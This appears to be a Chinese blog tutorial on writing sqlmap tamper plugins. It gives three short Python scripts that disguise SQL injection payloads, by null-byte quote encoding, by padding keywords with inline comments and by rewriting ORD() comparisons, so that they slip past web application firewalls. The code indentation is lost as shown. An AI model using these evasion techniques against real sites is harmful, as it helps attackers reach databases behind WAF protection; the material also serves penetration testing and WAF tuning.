tamper写法简述

0x00 前言

tamper是sqlmap的一个集合的专门用来过WAF的插件,近期对这个比较感兴趣,就收集收集整理整理下。

0x01 样例

下面是一个简单版的payload 代码:

1
2
3
4
5
6
7
8
9
10
11
12
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload,**kwargs):
if payload:
payload = payload.replace('\'', "%00%27")
print payload
return payload

第一行和三行,都是制定插件的优先级的,一般是起作用于多个插件之间排序用的。

Dependencies() 这个函数不清楚而且大部分都是 pass ,所以我也就不去注意了。

Def tamper(payload,**kwargs)是这个插件的核心函数,payload 是主要的传递参数,**kwargs 也用少,没仔细测过。

用过 if 判断这个 payload 是否存有参数,如果有,那么把里面的 单引号’替换为 %00%27 。

最后返回函数本身这个 payload ,那个print 是我测试的时候输出看看的。

0x02 bypass waf 写法

一般大家过狗的时候,都是使用 /**/,在注释里面添加一些特殊符号,等等来绕过正则,那么简单的编写可以这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload,**kwargs):
if payload:
csfh = "/*@^.^@*/"
payload = payload.replace('UNION',csfh+"UNION"+csfh)
payload = payload.replace('SELECT',csfh+"SELECT"+csfh)
payload = payload.replace('AND',csfh+"AND"+csfh)
payload = payload.replace('=',csfh+"="+csfh)
payload = payload.replace(' ',csfh)
payload = payload.replace('FROM',csfh+"FROM"+csfh)
return payload

这个主要是把联合查询的周围都加上/**/来绕过。

0x03 其它写法

当然如果自己写,肯定不止这些了,可以通过正则把一些语句正则出来,然后再去替换自己需要修改的SQL语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

Import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
if payload:
match = re.search(r"(if\()(ORD\(.*?\))>(\d+)", payload, re.I)
if match:
_ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(2), match.group(3), match.group(2))
retVal = retVal.replace(match.group(0), _)
return retVal

这个是乌云漏洞库一个58的漏洞,白帽子自己写了一个过WAF的方法插件。

不过这种绕过方法就得靠自己扎实的SQL语法和正则能力了。

我在知乎记录的关于 python 的正则:https://zhuanlan.zhihu.com/p/27045156


tamper写法简述
https://sh1yan.top/2017/08/01/sqlmap-tamper-to-write/
作者
shiyan
发布于
2017年8月1日
许可协议